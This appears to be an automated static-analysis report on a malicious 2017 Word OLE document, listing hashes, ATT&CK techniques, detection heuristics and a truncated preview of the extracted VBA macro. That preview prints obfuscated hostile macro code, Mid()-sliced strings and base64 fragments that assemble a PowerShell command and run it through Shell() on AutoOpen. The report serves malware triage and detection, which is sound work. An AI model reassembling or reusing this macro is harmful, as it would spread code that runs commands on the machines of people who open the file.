Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 034975a85be5d567…

MALICIOUS

Office (OLE)

120.0 KB Created: 2017-10-26 15:26:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: 58e82457408d1c3129eb16dbc293fe4a SHA-1: 3238e4313484667551a5f8998dc86b6a707f137f SHA-256: 034975a85be5d567d45ea668524a70e56400a99299134d00afbe961454326cf4
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro is obfuscated and uses a Shell() call, indicating an attempt to execute arbitrary commands. This is further supported by ClamAV detection for macro obfuscation. The presence of an AutoOpen macro suggests automatic execution upon opening the document, a common technique for initial payload delivery.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53027 bytes
SHA-256: 9b06fdc142105808de336b38b05088d593f1aa697904ebbc2e9d0c1d281acaff
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 104 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Function JWULdHwmG()
TfrEpmztWiz = "VW4V57P0GEM4XONOTAXG2P0RYADlTPQHIODhnfIkzJhRWaFEfzNqSklTaJXZKfdjGfRatRYMldRZihicMwGWBaoYckHiIjZUfzLrIiLNYAEpSLotiuNMYHijrtwJKuECEztjWmUinswBVzGQvNzNVNvYPizPjBDdwCkURIXraiYjJjKrmhNwuqjqBVQrnEBlpU74MNCR1PMLOS"
bFRuWa = Mid(TfrEpmztWiz, 27, 168)
jVMrv = bFRuWa
zzzKOshcjaG = "V83RUUnMPWcjUrljHMSFtTKhPYupFdPidiwTrsGOomzIwKfJAAYcdLhRBElEcwHmHuFmsRrOFEQH7K94"
womcLaG = Mid(zzzKOshcjaG, 7, 70)
wCEpNdpqmS = womcLaG
LWpUmic = "69DU7KPS70B5LA49II91KL8DEUXFPTV0tjcwAIBPGakzurwuaCELowBowaaCzoaFMutavZiwlBZTlmhGWvrOwUdviozZizSRzfnzzVwBTGamYhCMtTfCwMIsRwsGZJPmjHTGwhJAwqvqtrWAlnjPTQUnXvizdrbJqnDQOwNMCIH"
tzwKzkCln = Mid(LWpUmic, 33, 135)
EtbjwYVRTdH = tzwKzkCln
UKzZOTktXqo = "O2XXM2AZ9HYI323PfHJmHiDIWrqqDrSvmzUXsnazbavhQLffbJfJlbRwlJjrVwTDOUswINMrjKKhjVsKLLOuMIKLfVljHjdfHrTvTiWNwncbQkPQRWfKhYrFKjRnccjzjfZrCwqcpBzYjjvuGVSlDTzizOlmRjlTDiukLXNUfDUjbTYblXjGKwuNiqsoKELGPdUBoKiiHzGAwQHjpJAtCiJFkhCUfZKarOQzwXmaozzMsuORjLwBDRKS7UHMM54M9"
BfVTLimYwMM = Mid(UKzZOTktXqo, 17, 230)
fmRLJkOoao = BfVTLimYwMM
wIPfwpwuij = "8UKUHCONIYIWDK3LLKfFGRRwabsVlcASSmjjDzJXEPlAFnFlpaVFoLOVFwIXkWphqUkdhNJLAHBrjRsmVGfLHviHYLdHrmmhZDKCRA0N4KTNCOZZMWU6MJJ"
GNBimmZ = Mid(wIPfwpwuij, 17, 83)
vKoqzuo = GNBimmZ
KzzJX = "IITZFL45W9bNYGoNTahJkWUtmGTWPrTzORzUvoiRfaoJRMDvBlbkapZYBYDItTmqKizGJTSfwQiKiLcZDXUdQjWZsYTWlWXLnzzmNwmhTwoKKOqqwdFWwJaaHZOkAvtZsTWkLpLGlnKUvMOdicaHRBMiXYfniCjXCORrrGiGSwlLwGfvLkBYVmHrGsMnKXXjGnRjuWmbwTpSQBfREGA39RQY8775Z5VIV62CDIAA4K2VC"
AcVwiNaAcEw = Mid(KzzJX, 11, 198)
TjbjRU = AcVwiNaAcEw
KmGtiQNqdJ = "R8S96FNRXJY0Q5HCLW26EHXXN35AISWCiFtkoFEnESBhSmHClqfKBEFtRiIJWZuavzVjLsJChUpmlKzEHCSabLAiAzTGwvQfXamSQarthdchOSIGiDCUGUwjwrjLYCFmDKPKYjnjLZswjTQhrMXsswYCbCUZtfUiXpdDCziCQVJjczAiawUMfNuHlMiVMOmfFObtqNitiVcXnsacCpzvLIzJvVRpOMqBidJK2MG"
mFVzz = Mid(KmGtiQNqdJ, 31, 196)
TMoAGzzjQj = mFVzz
HdktwR = "IPETOlwnqHnrpPPiUHczoHjFWuTwrfEWdmqocrdBiaFmCpBmGiWfbCzhkwzURCvKCRNCYaGdiaQNCwDjsjqJJZuapIDduJjfiuklbzNfbtAAljfovQblMmBdXP3WZ1YXDAWEFU8J"
pDpHKOkAm = Mid(HdktwR, 3, 119)
nkZVZwjvZ = pDpHKOkAm
End Function
Function lDcEbRJEj()
ioMXNYC = "GWUOL1HLADEANgAgACwAIAAxADEAMgAsACAANQA4ACwAIAA0ADcALAA0ADcALAAgADkANwAsADEAMQAwACAALAAxADAAMAAsACAAMQAwADEAIAAsACAAMQAxADQALAAxADEANgAgACwAMQAxADUALAA0AAJ4I"
JfjTwWzYu = Mid(ioMXNYC, 9, 145)
TOHZiRIW = JfjTwWzYu
FdJJFvPq = "EH9TR7OBM971L5OEYLACwAOQA4ACwAIAAxADAANgAsACAAMQAwADEALAA5ADkAIAAsADEAMQA2ACAALAAgADMAMgJKNEG"
Kawok = Mid(FdJJFvPq, 19, 70)
wUVQNuwLGo = Kawok
EEGbiOcJ = "IQTwAIAA1ADgAIAAsADQANwAgACwANAA3ACAALAAgADkAOAAsADEAMAAxACwAIAAxADAAOAAgACwAOQA3ACwAIAAxADEANwAgACwAIAA0ADYALAAgADkANwAsADEAMQA2ACwANAA3ACwANwA5ACwAIAAxADIAMQAsADEAMgAyACwANwAzACwAMQAwADIAIAAsADgANAAsADQANwAgACwAIAAzADkAIAAsACAANAA2ACwAIC1ZOTW4S19YTDO0R9"
DVmoAWE = Mid(EEGbiOcJ, 4, 235)
JPTqlKd = DVmoAWE
XSvHpHOwYua = "YOHIAAsACAAMQAxADUAIAAsADEAMQA1ACAALAAzADIALAAzADYAIAAsADEAMQAyACwAOQA3ACwAMQAxADYALAAxADAANAAgACwANQA5ACAALAAgADkAOAAsADEAMQA0ACAALAAxADAAMQAgACwAOQA3ACwAIAAxADAANwAsACAANQA5ACwAIAAxADIANQAsACAAOQA5ACAALAAgADkANwAsACAAMQAxADYAIAAsACAAOQA5ACwAIAAxADAANAAsACAAMQAyADMALAQSDFKVOU7C3EPYK3Q8T23J3WGKT89DWHDP"
AaGKi = Mid(XSvHpHOwYua, 4, 266)
uIrPjjwrV = AaGKi
SWUwkYa = "210JHX9G4I39AOQAgACwAIAAzADYALAAxADEANwAsACAAMQAxADQAIAAsACAAMQAwADgALAAxADEANQAgACwAMwAyACAALAA2ADEAIAAsACAAMwAyACwAIAAzADkAIAAsADEAMAA0ACAALAAxADEANgAsACAAMQAxADYALAAxADEAMgAsADUAOAAsACAANAA3ACAALAAgADQANwAsADkAOAAgACwAMQAwADcAIAAsACAAOQA3ACwAMQAwADgAIAAsACAAMQAwADUALAAgADEAMQA1ACwAOQA5AFGIKI"
IlLLw = Mid(SWUwkYa, 13, 278)
BHOrBFMNCT = IlLLw
fFcVAYi = "QQAoACAAJABFAG4AdgA6AGMAbwBNAHMAcABlAEMAWwA0ACwAMgA2ACwAMgA1AF0ALQBKAG8ASQBuACcAJwApAA==4V3DR9J9XS5HQ2V"
fYGFUBjij = Mid(fFcVAYi, 3, 86)
vlhJrai = fYGFUBjij
RzXRdoRHkSl = "LEYORNVJQWCEANgAgACwAMQAwADEALAAxADAAOQAsACAAMQAxADIAIAAsADMAMgAgABX1U
... (truncated)

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